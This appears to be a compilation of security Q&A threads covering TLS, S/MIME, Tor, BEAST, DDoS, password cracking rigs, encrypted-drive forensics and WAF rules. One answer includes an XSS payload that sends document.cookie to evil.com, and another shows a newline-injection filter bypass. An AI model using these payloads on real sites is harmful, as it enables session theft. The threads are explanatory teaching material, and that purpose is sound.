What is the key when the client want to get a session id in SSL According to the abbreviated handshake protocol, the client hello will contains a session id if it knows one. So my question here is: what is the key for a client to find session id if it is talking with multiple hosts and using multiple client certificate?

The abbreviated handshake is used in re-establishing a previously agreed secure connection, which means it will use the same keys as it used for the previous session where a full handshake was used to initiate the connection and agree on the keys and ciphers etc. See Speeding up SSL: Enabling session reuse


How can I verify that network calls to my API come only from my C# program? I have a desktop application build on the .Net framework.

If I obfuscate the code, even if somebody reverse-engineers the code and tries to call my API using the altered source, can I know if the API calls are not from the original source code?

If I build my application using code signing does it help?

Every time this question came up, I point people to David Auerbach's Chat Wars: Microsoft vs. AOL. The story shows the extent that some very clever people have done to try to do what you're trying to do, and the spectacular failures one after another.

The article may have been written for a different time and technology stack, but the basic facts haven't changed and will never change, no matter what kind of technology you're using to develop your application. Given a sufficiently determined adversary, it is fundamentally impossible to verify that a network request come from your authorized client only.


Certificate and Path validation for S/MIME I am working on a S/MIME client development and was wondering if there is a list of certificate and path validation checks that a client needs to perform while validating an email signature. My initial thought was that it would be similar to TLS checks but some things are not apparent to me . Basically, what are the differences between TLS cert validation and S/MIME cert validations.

Do we have to do revocation checking ? Wouldnt that be an overkill for mail to do it every time ? If i am caching CRL/OCSPs for each user certificates that my client finds, wouldnt that require large disk storage. A user can get a signed email from anyone, so there are potentially thousands of users with certificates.
What key extensions need to be checked that are specific to s/mime certs and validation ?
This is in Java and I saw there is a method checkClientTrusted which does chain validation. But it seems that it is not complete. What are the checks that this api does specifically ?

Yes, you have to to revocation checking when validating a S/MIME signature. What is different from TLS ist the time aspect. A TLS certificate needs to be valid exactly at the time of validation, while a S/MIME certificate must have been valid at the time the e-mail was created. It doesn't matter if it has been revoked afterwards. This means, that you need to use a CRL for verification, because OCSP responses do not include a revocation time.
The proper key usage must be checked. The certificate mus contain the keyUsage digitalSignature and/or the extendedKeyUsage emailProtection.


Using Tor in public WIFI is it secured? Is using the Tor network to visit the web pages in public wifi secure or not since Tor will help to make us anonymous (hide the metadata such as URLs) and HTTPS helps us to protect the content.
Will Tor and HTTPS requests together help to secure our browsing?

Keep in mind that TOR provides anonymity, but not necessarily security. For example, say that the government where you live has banned parsnips for being too vulgar, and anyone caught even looking at them online is thrown into jail. But you still like reading about parsnips, but you don't want the government to know that you're a deviant for fear of being incarcerated.
This is where TOR is an excellent option, since it by design makes is extremely difficult to locate who's the original sender of any traffic. An adversary might see that someone on TOR is looking at parsnips, or that you're using TOR, but not both (unless they can see both your exit and entry relays and do a correlation attack but that's highly unlikely).

However, say that you want to do your online banking, and you don't quite trust the WiFi you're connected to. There's no reason to hide that you want to do online banking, so you don't need anonymity, and HTTPS can be broken in various ways by anybody forwarding the traffic, so here you're introducing more risk by using TOR, since suddenly 3 more unknown entities have access to your traffic. So here a commercial VPN might be a better option, since you a) know who's handling your traffic, and b) it's a single entity.

The worst combination would be to use TOR for both traffic that requires anonymity and traffic that doesn't. Continuing my example above, using TOR to both look at forbidden parsnips, as well as to do your online banking, at the same time would be very risky, since you need to identify yourself to do banking, and any leak from that application suddenly identifies the TOR user.

So, it's best to use TOR only when you really need it, and preferably only with services that don't require identification.


How vulnerability assessment is different for application and infrastructure? I am working for a company where vulnerability assessment for infrastructure and applications are being done by different vendors. Sometimes I get confused that assessment should happen on the infrastructure or application side.

E.g. xyz application is hosted on Windows 10.

Should I consider it vulnerability assessment on the infrastructure side or application side?

Application vulnerabilities are very different from infrastructure vulnerabilities.

The app needs to be tested, and the machine needs to be tested, too. You choose the best type of testing for what you want to achieve. App testing for apps, infrastructure testing for the infrastructure.


How many people am I sharing my computer with? I believe I am the only person using my computer. Is there any way to definitively (securely) tell?

I have a Windows (7) laptop on a Wireless Network with a reasonably cryptic password, but I close the lid and walk away regularly, leaving it alone for hours/days at a time in stand-by mode. There's no password on the login for it, but then the house is locked, and in any case it's "off", right? Is that naive? Is there any secure log of logins to my computer that I can trust?

Motivation/example: I never store my online banking password (and tell Firefox as much) and yet I just logged in to my bank through Firefox, and there was the login and password auto-filled for me.

Naturally I sought a way to clear the saved password. I found it... but also a way to show the saved password without further security clearance (Master password, etc).

Clearly anyone with access to my computer can easily read my passwords... which horrifies me.

But all that is probably fine so long it was my slip-up, and nobody else is actually using my PC. But how can I tell? In particular, how can I know that I can trust any activity logs (or similar) - that the logs themselves are secure?

Since you mentioned you are using a Windows computer, here is a site which will describe how to activate 'Audit Logon Events' if it's not already activated. Here is a brief description of what ALE is:

Audit Logon Events:

  The Audit logon events setting tracks both local logins and network
  logins. Each logon event specifies the user account that logged on and
  the time the login took place. You can also see when users logged off.

However as far as Firefox goes, I can say that you don't have to worry about security if you set your browser up correctly. Here are a few links that might help you in your current situation:

Delete Saved Passwords in Firefox

Password Manager - Remember, delete, change and import saved passwords in Firefox

Settings for privacy, browsing history and do-not-track

The links provided are reputable links, including some from Mozilla (Creators of Firefox), so you can trust the information coming from them.

Additional Actions

Also if you are really cautious, you can download a program called 'CCleaner'. It's a very common cleaner for windows users which will take care of web browser data such as: cache, passwords, and history. It can also do much more if you want it to. Here is a link to CCleaner


Is BEAST really fixed in all modern browsers? BEAST is said to be fixed in all modern browsers:

Chrome and Firefox
IE in Jan 2012
Opera in Dec 2011.

It's also fixed in OpenSSL since 2002.

Do these fixes mean that it's safe to use ciphers in CBC mode on TLS 1.0 if end user uses one of these modern browsers?

I don't think anyone knows of any way to exploit BEAST, on any of those modern browsers, so as far as anyone knows, those browsers are probably pretty safe against BEAST-like attacks.  On the other hand, the underlying weakness is still present, which leaves some room for concern about the possibility that someone might find a new way to exploit that weakness.

BEAST exploits a security weakness in TLS 1.0. The principled way to close the entire weakness is to update both the browser and the server to TLS 1.1 or TLS 1.2. At the moment, Chrome supports TLS 1.1; IE9, IE10, Opera support TLS 1.1 and TLS 1.2 if you set a special option, but support is not enabled by default; iOS 5 client supports up to TLS 1.2; Firefox and Safari do not. Unfortunately, both endpoints have to support TLS 1.1 before you can establish a TLS 1.1 connection, and today, few servers support TLS 1.1 or TLS 1.2. A few servers support TLS 1.2 (e.g., Apache with mod_gnutls; IIS 7 if you enable some special registry keys; Java app servers on Java 7), but only a very few. This means that it will be exceedingly rare that anyone can use TLS 1.1 or TLS 1.2 today. Therefore, the principled fix to the BEAST attack is not widely deployed today, no matter what browser you use.

For more details, see, e.g., TLS 1.0 JavaScript injection vulnerability (BEAST): what to do client-side?; Security impact of the Rizzo/Duong CBC "BEAST" attack; and What can I do about TLS 1.0 javascript injection vulnerability on my server?; How do I use OpenSSL to test for the BEAST attack?; Why was the BEAST attack previously considered implausible?.

That said, several servers have implemented some workarounds that help mitigate the known ways of exploiting this weakness in TLS 1.0. These workarounds are a "stopgap" that do not make the weakness go away, but they do prevent all known ways of exploiting the weakness. The primary mitigation is to ensure that both sides use RC4, instead of any block cipher based mode of operation. Servers can arrange this by changing the order of their ciphersuites.  You can test whether your server is configured in a way that should prevent BEAST using this SSL tester.

I can understand why you might have gotten the impression you did. The earliest attack exploited this weakness using WebSockets. A later attack showed how to exploit it using Java, too. Most modern browsers have now been patched to change how WebSockets works, so that WebSockets can no longer be used to exploit this weakness.  However, the underlying weakness is still present, and I don't think anyone would be terribly surprised if tomorrow someone discovered a new way to exploit the weakness without using WebSockets or Java.

Firefox, Chrome, Opera, IE also implemented the following mitigation for the BEAST vulnerability: send just one byte of application data in the first record (aka 1/n-1 record splitting for CBC). This is not perfect, but it should help a lot. In the long run, the right fix is to move everyone to TLS 1.2, but that will take time.

Another footnote: while many browsers are starting to implement support for TLS 1.1, there is a significant caveat. Just turning on TLS 1.1 or 1.2 causes compatibility problems with buggy servers. Those servers fail if a client indicates that it supports the newer TLS versions. Therefore, browsers try TLS 1.1, but if that fails, they try again using TLS 1.0. If TLS 1.0 fails, they will further fallback to SSL 3.0. This introduces a vulnerability: a man-in-the-middle can force both sides to fall back to TLS 1.0.


Is directly echoing the user agent in PHP a security hole? Is this script vulnerable to PHP or JS code injection?
In my quick test I changed the useragent to a PHP script but it will not be executed just printed. If change the user agent to a javascript code I receive a connection refused by the webserver.

So am I safe with this type of script?

<?php
$u=$_SERVER['HTTP_USER_AGENT']
?>

string

<?php echo $u; ?>

You are correct that you do no need to worry about PHP code being injected. The echo command just echoes stuff - it does not execute it.

The JS is more problematic, though. Your code may be vulnerable to XSS. The client controls the user agent, and the attacker controls the client. You are giving an attacker the ability to inject arbitrary HTML and JS code into your webpage. Just use a user agent like this:

<img src="" onError="window.location='https://evil.com?'+document.cookie">

There is one big problem for the attacker: While it's easy to change your own user agent, you can't really change someone elses. So it's not obvious how you would hack anyone but yourself with this - it's a quite advanced form of self-XSS. If you are storing and then displaying other users user-agents (e.g. from logs) you have a much bigger danger. But that is not the case with your simple script.

So why doesn't that work for you? It looks like your attack gets blocked by some kind of WAF or similar. Thats great, but don't write bad code in the hope that your WAF will protect you! A WAF will not protect you against everything. And who knows where your code will run in the future and if there will even be a WAF there...


How to ensure that VirtualBox guests can't break out of the vm to get access to the host machine? Possible Duplicate:
  How secure are virtual machines really? False sense of security?

E.g. on Ubuntu/Fedora - if I have VirtualBox installed and I'm running guests in it, then how can I make it harder for an attacker to get access to the VirtualBox host from the VirtualBox guests?

e.g.:
 - If we set NATed network card in Vbox, then the Vbox guest can't see the Vbox host in his network, in Layer3 & Layer2, hurrah!

Run VirtualBox with a different user?

Here's some basic steps that I follow when I'm testing in a virtual environment.

Step one: use an operating system that differs from the one being virtualized.  If you're running Linux virtual machines, use the windows VirtualBox installation.  Note: I have never seen actual evidence that this helps, but I have always done it simply to stay on the safe side.

Step two: I don't have as much experience with VirtaulBox in particular with this, but make sure to disable any host/client shared directories, do not install VirtualBox Additions on the host, and configure any other available options which help segregate/sandbox the virtual machine.

Step three: Properly set up your network.  Make sure that, at a minimum, the host's sub-net and the VM's sub-net are segmented.  By segmentation I mean that is security and controls between the two networks (i.e. firewall, acls, etc...).  One may even take it as far as not persistently networking the host machine;  Set up one NIC as management that isn't plugged in until you need to actually interface with the hypervisor and connect the VMs through other NICs.

This is pretty universal for any virtual environment.  Something else I would do is research exploits regarding VirtualBox.  Can you find exploits that let you dos the host via the guest? exploits that let you break into a host terminal/console? etc?  If you find these exploits, configure the "hardened" virtual environment and then give them a try; see if they work.

The rest all depends on what you want to do with the machine.  If you just want it to be as secure as possible, than most of the work will be on the guest side of the puzzle, making sure that the OS is secure.  If you want to set up a pen-test lab, then those steps should leave you at a good place to start throwing together some scenarios.  If you want to tell us what you were thinking of in particular, we can give you some more help.


How can hackers get 1 billion passwords per second? So I'm interested in Brute Force attacks and I have made them with Python 3 and C++. However, those only reached a max of about 20 million passwords per second.

I know for a fact that 1 billion passwords per second has been reached. How is this possible and what methods are used?

With that kind of speed, I can only assume you're talking about offline attacks (e.g. John the Ripper). Also, the metrics for speed are heavily dependent on the type of password you're attempting to crack.

They key to getting speed is to 1) use software capable of maxing out hardware, and 2) throwing hardware resources at the problem.

For #1, it depends on the type of password. For example, Hashcat is great for computing hashes using GPUs. I'd also recommend John the Ripper. You'll need to be sure that you're compiling it to work with your hardware. Here are a couple of resources to dive deeper into doing so, for JTR:

http://openwall.info/wiki/john/GPU
https://blog.sleeplessbeastie.eu/2015/11/02/how-to-crack-password-using-nvidia-gpu/

For #2, here's a link to someone's cracking rig:

https://www.trustwave.com/Resources/SpiderLabs-Blog/Building-my-own-personal-password-cracking-box/

Note the use of multiple GPUs with heavy cooling. Also, note his results using both JTR and Hashcat.


Securely map random string to a custom charset I'm writing a Python script to generate custom passwords based on a HMAC.
I want the passwords to support various websites requirements so I want to map the HMAC output (ex: hex format) to an array of allowed characters.

Let's say I want to map 'fea503e5' to numbers only.

The issue is doing it securely, as using modulo :

# numbers = "0123456789"
# pwd = ""
# ascii_digest is [65, 66, 67] for string "abc"
for i in ascii_digest:
    pwd = pwd + numbers[i % len(chars)]

is not secure because some letters have more chance to be picked (multiples of 10).

Will the tr program do this securely ? Also how does it work or more so, how a safe mapping function is to be implemented ?

You can [65, 66, 67] convert to 656667. Since you can recompute it back, it would be of same security level. However, I suppose this is not what you really want. I guess, you want the result with as little letters/digits as possible.

Consider the password as a n-base number where n is number of possible characters in the password. What you really want is to convert n-base number (password) to m-base number where m is number of character in the destination set. It's easy if you have just small numbers which can be held in the integer value. It's more difficult with larger numbers however, you would need just a middle school arithmetic.

For example, we have 26 letters a..z.
bcd = [1, 2, 3] would be 26-base number (letter a is 0). You can convert it to integer easily:

n = 1 + 26 * 2 + 26^2 *3

BASE = 26
res = 0
k = 1
for n in abc:
    res += n*k
    k *= BASE
return res

It's like 1234 = 1 * 10^3 + 2 * 10^2 + 3 * 10^1 + 4 ^ 10^0 just 10 would be 26 :-)

Then, you can convert it to 10-base (or whatever base) number:

BASE = 10
while(n):
   out.append(n % BASE)
   n=n/BASE
return n

As I mentioned, the problem could be a large number. You can implement it by yourself and it's not as difficult as it looks, just use the base division algorithm which you learned on your middle school or even earlier, or you can try to find some big-number python library which would be even easier.


Transferring of keys from key servers to recipients When I download PGP keys from keyservers like so:

gpg --search-keys steve@openssl.org

How are the public keys transferred down to my machine? Is there a possibility of a MITM attack to serve me the wrong key?

If you use the signatures on the key to validate it (such as the web of trust model), then you only depend on the key material you have, and not the key served to you.  In fact, if you know the fingerprint of the key you want (with certainty) you can just verify the fingerprint after retrieving it.

If you want to avoid a MITM, you can use the hkps protocol described on the SKS Keyserver page here: https://sks-keyservers.net/overview-of-pools.php.

Keep in mind that anyone can upload any key to the keyserver, so just because it has the email you want doesn't mean it's the right key.  Only the signatures on the key (and the trustworthiness of the signatures) can help determine if the key you have is the legitimate one.


Is plain text over https really a good idea? Sending plain text passwords over https is quite secure, the traffic is encrypted, making eavesdropping virtually impossible.

However, once on the server side, it is still plain text. Of course, storing the passwords needs proper encryption, etc. But how about monitoring tools, logging, etc.? Isn't it possible that plain text passwords end up in logs, etc? Even when using POST?

If we'd monitor the communication, we'd also see the passwords in plain text. A simple digest instead of plain text would make it harder for us to see and remember it. Yes, I can access a lot of sensitive data anyway. Yes, I can use rainbow tables to decrypt the MD5 hash. If we want to do bad, we can do bad. But why should we allow the possibility for me and colleagues to see plain text passwords?

Since people tend to use the same password for multiple online services, having someones password gives access to more that just our data of that person.

Good ideas are time-bounded.

Protecting passwords by MD5'ing them was once a good idea. Then rainbow tables and MD5 collisions were discovered. So now it is a bad idea.

Sending plain-text passwords over HTTP is a very bad idea, sending plain-text passwords over HTTPS is a very good idea by comparison, but there are still better approaches you can take.

Memory - As a general guide, you must assume that the server you are sending your credentials to is secure, so don't worry too much about plaintext passwords being held in memory unless you're looking to develop ultra-secure applications.

Logs - Logs generally do not contain any HTTP POST/UPDATE data, because that data is potentially very sensitive - and sometimes to store it in unencrypted log files would be illegal - such as when a client submits credit card details for processing a payment.

Passwords should only be sent as part of the HTTP request body, never in the URL for the site, and preferably not in HTTP headers either. BASIC HTTP authentication uses a password field in the header, primitively protected with Base64 - but this is only to prevent people shoulder-surfing the password, it won't protect it from anything else.

You could look at Client Side Password Hashing, which would involve hashing the password on the client side before it is sent to the server - thus even the server would never have the real password text (and should still further salt and hash it anyway), but this is more complicated to setup and is not recommended for anyone who doesn't fully understand what they're doing.


How does an ISP combat Bandwidth Exhaustion / Volume DDoS? While similar to this question, I'm asking in regards to a traditional ISP environment where you are running your own server center and firewall access lists.

With a Bandwidth Exhaustion attack, the success of the attack is simply a measure of how much bandwidth they have purchased, in comparison to how much the target datacenter has available.

A well orchestrated attack will come from more than one ISP, or even many (DDoS), and the source IP address will be randomized. This makes it more difficult for the receiving ISP to block the traffic prior to reaching the customer's datacenter, and also eliminates simple retaliation as a possible (though undesirable) solution.

I'd like to know what the procedure is to minimize the success of such an attack, beyond the simple answer of purchasing more bandwidth? I assume identifying the source and blocking the packets can only be accomplished with the ISP, and there's nothing the datacenter owners can do on their end.
If the attack originates from other ISPs, is it necessary for the originating ISPs to cooperate to stop the attack?
When the DDoS attack is successfully blocked, is legal action often pursued? I assume the attacker could easily start a new account and run the attacks again otherwise.
This is a fiber-optic internet connection. At a certain level of bandwidth, do distant attacks become less successful? (assuming a limited number of attack sources)

The answer to your question varies wildly based on ISP. Some ISPs are very capable of handling DDoS attacks upstream, while others do absolutely nothing to stop them. Basically, there are three different ways that an ISP can handle them:

Buy extra bandwidth and let any attacks through. The simplest and
worst solution.
Have simple monitoring systems to detect attacks, and blackhole any
traffic headed to the destination IP. This protects the network as a
whole but still causes the customer to suffer a DoS.
Some form of "scrubbing". This is a process, usually third
party, of detecting attacks and beginning packet inspection to try
and filter out illegitimate traffic. A vast variety of methods are
used, from filtering out traffic from foreign countries to detecting
amplification attacks (such as DNS Amplification, as described
within this US-CERT article). This is the preferred method that most
large providers are switching to, since it allows the customer to
stay online.

Of course, no matter what the ISP does they can still only filter traffic on their own network boundary. As is the case in the largest DDoS attacks, the bandwidth going to the ISP itself can be overwhelmed. There is little anyone can do in this situation.

Unfortunately, there is not much that the database users can do on their end. As you say, in a bandwidth exhaustion attack it doesn't matter if the database owner can filter traffic if they can't receive any traffic at all.

As much as we would like for ISPs to cooperate to stop these attacks, many come from foreign countries and from so called "bulletproof hosting" providers that ignore any complaints of misuse.

Legal action can almost never be pursued. Attackers are very good at hiding themselves behind botnets, and it can be very difficult to find even if someone bothers investigating. If they are found, they are often in foreign countries that do not have laws governing these attacks. The ones in more modern countries hide in legally gray areas, by doing things like offering "stresser" services to "test" your website against attacks without bothering to check if you really own the website.

Fiber optic connections do not decrease the attack in any significant way in the same way they do not decrease legitimate traffic.


Is this filter safe enough to mitigate XSS? I have an application that escapes the following special characters.

& < > " '

The application heavily displays HTTP request parameters throughout the application. The request parameters are used in the HTML body, div tags, even within the Javascript <script> tags. The only defense right now is escaping these 5 special characters.

What have I tried so far?

Read the OWASP XSS Prevention cheat sheet and OWASP Filter Bypass cheatsheet.
Tried replicating the application on my local system and tried fuzzing the application with the XSS payloads.

My questions

The OWASP cheat sheet recommends escaping & < > " ' / if used within the HTML tags. My application's filter is missing escaping only the / character. I believe / is needed only if the HTML attribute is not quoted. Am I correct in understanding this?
Say, we have the following HTML code within a JSP page. Can this be bypassed when & < > " ' / are escaped?
a. <input type="hidden" name="choice" value="<%= encode(req.getParameter("choice")) %>">
b. <div> <%= encode(req.getParameter("choice")) %> </div>
c. <script> document.write("<%= encode(req.getParameter("choice")) %>") </script>

I am very well aware that this is not enough, but I have tried an extensive list of XSS payloads and was not able to bypass this. Escaping these 5 characters within an HTML context seems enough to me.

I would greatly appreciate if you guys could put forward your thoughts on this. I would really love to see this filter getting bypassed.

I would really love to see this filter getting bypassed.

Let me be the first to fulfill your wish with the so underevaluated and forgotten %0d%0apayload :

Your code :

<script>
// TODO
// document.write("<%= encode(req.getParameter("choice")) %>")
</script>

Request : http://supersecure.com/?choice=%0d%0aalert(1);//

Resulting code :

<script>
// TODO
// document.write("
alert(1);//")
</script>

While you may think you wouldn't comment such code, keep in mind some others devs could do it (for testing/debugging/temporaly disabling feature purpose) without thinking about the security hole it may create.
For <script> you should encode %0d%0a into \r\n.
Howewer, you don't need this encoding for html element.


Is it possible to decrypt a SSL/TLS session without doing a MITM-attack? I'm not talking about decrypting the connection while the SSL/TLS is happening (MITM) but after the connection is closed and I have a pcap file of the entire negotiation/data transfer process.

How can I decrypt the data that was passed in the connection? Is there a way to get the session key (without waiting a few years for the calculation process to end)? Will quantum computers help?

The short answer is "no". The longer answer is that SSL is specifically designed to make this impossible. If this was possible, SSL would be useless for its primary intended purpose -- to secure things like credit card numbers sent to secure web sites.

The short (and technically incorrect) answer for how SSL does this is as follows:

The server presents a certificate to the client.
The client confirms that the certificate was signed by an organization the client trusts and that this organization certifies that the certificate belongs to the server the client wants to reach.
The client generates a random key, encrypts it with the public key in the certificate, and sends it to the server.
The server decrypts the key and uses the shared secret the server and client now have to secure further communications. (It does this in a somewhat complex way though. Again, this is an oversimplified explanation.)

Decrypting the data would require at least recovering the shared secret generated at step 3. But how would you do that? It was only sent over the wire encrypted, and you don't have the server's private key.


'Critical security alert for your linked Google Account ' but I don't recognize the account I received an email entitled : 'Critical security alert for your linked Google Account' .. The body says:

  Someone knows the password to your linked Google Account

  ----------@gmail.com

  Google has become aware that someone else knows your password, and
  we've taken steps to protect your account. Please sign back into your
  account now and choose a new password to secure your account.

I've removed the account name. I do not recognize this account so it should not be linked to my account. I did change my password immediately after receiving this email though it looks like it's saying that someone knows the unknown address' password.  I checked the headers on the email that I received and they indeed appear to be coming from Google and were not spoofed. The links in the email also go directly to Google's site for all links so the email seems legitimate.

In full disclosure, a trojan was run on my computer recently. At that time I did turn on 2FA for my gmail account and changed passwords on some of my saved google passwords. I am uncertain if this is related to the trojan.

Can a trojan pull my saved Google/Chrome password file? Is there a way to see what accounts my gmail may be linked to?

FYI, I can link my Google account to yours. I just need to add your email to my account as a linked account. No maliciousness required. I get them a lot because my Gmail address is so generic, people mistakenly use my address by mistake.

Can malware open your browser's password file? Yes.

Can you see who has added your email to their linked accounts? I do not believe so.


Spoofed MAC address with macchanger but cant connect to internet So I used macchanger to spoof my mac address with these commands:

sudo ifconfig (interface) down
sudo macchanger -m (mac_address) (interface)
sudo ifconfig (interface) up

If I stop here I will not be able to connect to the internet.

So I restart network-manager:

sudo service network-manager restart

A this point after the service restart is done the mac address is set to default meaning the real mac address.

I think the issue is relevant to ipv6 because I disabled ipv6 from boot loader /etc/default/grub:

GRUB_CMDLINE_LINUX_DEFAULT="ipv6.disable=1 quiet splash"

Following guidance below that I should use

sudo macchanger -r (interface) or sudo machchanger -a (interface)

I tried all commands from -A random to -M custom mac address, again no access to the internet if I dont restart the service network-manager.

I'm using the network adapter awus036nha

Try sudo macchanger -r (interface) or sudo machchanger -a (interface)

While interface is down, then bring it back up again.


SQL Server Format-Preserving encryption I have old system with database that has table with column of type char(20) and  the customer decided to encrypt that column for some business needs however for some system integration needs the length of the output column to be similar to input which is 20 and I have read about Format-Preserving encryption

My question is, Is format-preserving encryption is strong like AES methods and Are there any SQL Server implementations yet that can be used with large number of records millions?

I think your main problem would be to implement the Format-Preserving encryption in the database.

You could simply use AES on the field. See for example the encryption functions supported by MySQL. For a 20-byte input, aes_encrypt() output would be 32 binary characters (AES works on 16-byte blocks). You can get closer (25) with the less-secure (and deprecated) des_encrypt().
If you don't need strong encryption, MariaDB features an encode() function that may do the work, that would keep it the same length.

The main problem is that these encryption method would output binary bytes (the server would have no problem with it) but that may be undesirable for the clients (or simply for providing an output). Encoding it in base64 (33% overhead) is probably acceptable in such case.


When should I renew certification authority? What is best practice in renewing certification authorities? I mean when should I renew certification authority?

For example, suppose I have the following setup:
1. Root CA with validity of 30 years
2. Sub CA with validity of 20 years issued by Root CA

When renewing certificate of Sub CA after 20 years, it can't have another 20 years because of Root CA certificate would expire before, so in that case new Sub CA would have validity of 10 years.

Or should I renew Root CA 10 years before expiring old certificate and start issuing certificates from this new Root CA?

Or another approach can be to issue new Sub CA 10 years before its expiration and start issuing end entity certificates from the new Sub CA after.

I would like to get a deeper insight into rules how are such situations managed in real life. What should I be looking for to manage certification authorities correctly and renew its certificate in time?

EDIT to have a better understanding:

How would you manage renewing of certification authority with validity of 5 years and issuing end entity certificates with validity 3 years?

What would you do and when in order to have a smooth process transparent to end users?

I think the most important thing to consider is the Root CA lifespan.

Why do we have a Root CA? Because we trust the Root CA and we want to trust things signed by said Root CA.

Why do we have a Sub CA? Because we don't want to use the Root CA every time we want to sign something (because it's safer to just put the private key in cold storage). So we sign a Sub CA (or intermediate) at a shorter lifespan so we have a trustworthy Cert that we can use to sign with but is also not as long lasting in case it is compromised.

Why do we trust the Root CA? Because we've all agreed to trust it.

So, the real question is how often do you want to ask people to trust a new Root Cert? The longer the lifespan, the more dangerous it is if compromised. The shorter the lifespan, the more often you have to ask people to trust a Root Cert.

A Root Cert cannot have its expiry extended.


A 'secure' reference network diagram Recently, I have found out about Microsoft Cybersecurity Reference Architecture. It shows how Microsoft products can fit into an existing company's network and policy setup, however it is quite generic.
I am looking for something similar to that, but just an example, reference network diagram from a known tech company or mentioned in a scientific paper, such as the "logical diagram" on the left hand side of the image below. Previously, I have come across "An analysis of cyber reference architectures", but again, the diagrams mostly feature lists of things (policies, security awareness, physical and non-physical measures etc.), as opposed to those lists applied to an example diagram.

In short: Are there any example/use case/reference 'secure' network diagrams, such as the one on the left above, that have been released from a well-known source?
EDIT: All of the answers are great, thank you for taking the time to answer! I am struggling to accept one because they both provide really good perspective on the matter.

There are two reasons you are unlikely to find an actual diagram with the info you want

It is the sort of thing that an attacker would love to have, making navigation through their target's network simple and stealthy
It will only be relevant to that organisation. You will need to tailor the architecture to your needs, not that of another company.

The reference diagrams are a really useful place to start from, just make sure you get input from your business heads as well as technology leads, so you know what services and data need to be protected, and these will guide your customisation of the network controls.


How to know if someone has decrypted my encrypted drive? My laptop was stolen a few weeks ago, I got it back and my drive was encrypted. How can I be sure it wasn't decrypted and the data accessed during this time? I thought about checking the timestamps of last opened/modified, but as I understand they could have been manually reverted back after opening.

Thanks for any help.

Unfortunately there is no way of knowing that the disk was not accessed and decrypted.

As you said, if the disk content was changed, this would prove it had been accessed logically (and, hence, decrypted).

But what if the content did not change?

When attempting to perform decryption (or any kind of forensic analysis) on a disk, the first stage involves cloning it onto a new hard disk, and operating on the copy. So the only change in the original hard disk is a bit more wear and tear, which can be accessed through the SMART interface - but to check it reliably you need to have a SMART status save from immediately before the theft and another to compare taken immediately after recovery.

This could supply a negative proof (i.e., if the "Power On Hours" counter had not increased, the disk was not powered on and so we know it cannot practically have been copied.

But if the counter went up, this only proves that the hard disk was powered on, not that it was read. The "Read Data Counter" is not available on all hard disks). Of course, power on time gives an idea of how much data could have been transferred (but, again unfortunately, this counter usually has a granularity of one hour. In one hour, much could have been copied).

To sum it up:

Observation                            Decrypted?
=================================================
SMART power-on count (POC) unchanged   SURELY NOT
SMART POC increase, read count unchg.  SURELY NOT
...
...   (a vast area in between)         WHO KNOWS?
...
Logical disk content changed           SURELY YES

However, disk-level encryption (VeraCrypt, BitLocker, etc.) is usually very secure, so unless you left the password accessible, I would not worry too much.


Wifi not showing on Kali linux Hi I am new to Kali linux untill today wifi works fine I could connect my home wifi without any issue but suddenly it is not working anymore available wifi hotspot not showing as shown below

Could you please help me with this
Thank You

Open a terminal and type: iwconfig

Do you see any wireless interfaces listed? Are they in 'Monitor' mode? It is possible that during a wireless penetration test, you put the wireless adapter in monitor mode using something like 'airmon-ng'. If so, bring it back using:

airmon-ng stop wlan0mon

(this is assuming that the monitor interface was called 'wlan0mon')

Also, check network in settings and see if a wireless interface is available there. If this is a VM, then you might not have access to the wireless interface because the host might be using it. If you are using a VM to host Kali, you need a USB wireless adapter (like an Alpha card) to be able to access wireless interace within Kali.


Remote File Injection in ARGS blocking form updating database I am getting a page forbidden because mod_security blocks it with Remote File Injection in ARGS rule.

How do I stop this apart from not including URLs in the form fields or removing the http:// prefix of the URL before submission to the update script (data is updated from the form).

The hosting company had to remove some rules to stop this happening before but even after rewriting the forms it is still happening.

How do I rewrite the form to stop the firewall error?

I am assuming your hosts are using the Atomicorp mod_security rule set. The error "Remote File Injection attempt in ARGS" is documented here; you can see the code here.

This rule disallows input that looks like a URL from all fields, on the assumption that any mention of a URL is an attempt to get the application to fetch and execute the content at that URL. This is vanishingly unlikely and pretty pointless, but no-one said WAFs were clever.

Because naturally this breaks almost every site, the rule includes loads of exceptions for widely-used web applications. It looks like if you put a string that resembles a known application in your URL (eg jomsocial/x/add), or use a known application's parameter name for your URL (eg origin), you'd probably be able to evade the rule. Of course the exceptions list contains lots of applications that actually have suffered from multiple serious security holes, but no-one said WAFs were clever.

In general WAFs like this and other complex mod_security rulesets aren't much good as intrusion protection for general-purpose web applications. They need specific configuration to recognise what input is and isn't expected, and for custom applications you wrote yourself the effort involved in doing that configuration is usually better spent making sure input is handled appropriately in the application itself.

(They can be useful for intrusion attempt detection, and for patching up problems in someone else's software you can't change - or as a temporary measure until you can fix it properly. But blanket-deploying them against random custom software is not sensible, and rewriting custom software to circumvent WAF blocks isn't really productive or sustainable.)

If your hosting company insists on using an instance of mod_security outside your control to block perfectly valid application input, I would look for a hosting company with more clever.


Why should crossdomain.xml be present if user-uploaded files exist? In his book Michal Zalewski says:

  To protect your users, include a top-level crossdomain.xml file with the permitted-cross-domain-policies parameter set to master-only or by-content-type, even if you do not use Flash anywhere on your site. Doing so will prevent unrelated attacker-controlled content from being misinterpreted as a secondary crossdomain.xml file, effectively undermining the assurances of the same-origin policy in Flash-enabled browsers.

Currently site has the following policy for user-uploaded files:

All downloads have Content-Disposition: attachment
User-uploaded files' download links are placed on separate domain from main site
X-Content-Type-Options:nosniff

In case if there is no crossdomain.xml how can attacker place crossdomain.xml so that it will be interpreted as valid crossdomain.xml? What if crossdomain.xml is present? Do other vulnerabilities related to crossdomain.xml exist?

I don't know.  I'm not Michael Zalewski, and I can only speculate about the basis behind this advice.  Did he say anything more in the book?
The crossdomain.xml file contains policy that Flash uses to determine how other sites may interact with this site.  If it contains a permissive policy, then bad things can happen.  Therefore, you don't want users to be able to upload a policy that sets a permissive policy for your site.
There are three risks that I'm aware of:

These days, by default, Flash will look for the crossdomain.xml file at the root of your site: http://www.example.com/crossdomain.xml.  If a user has the ability to upload files into the root of your site and choose its filename, the user could choose the filename crossdomain.xml and choose its contents to specify a permissive security policy.  That'd be bad.

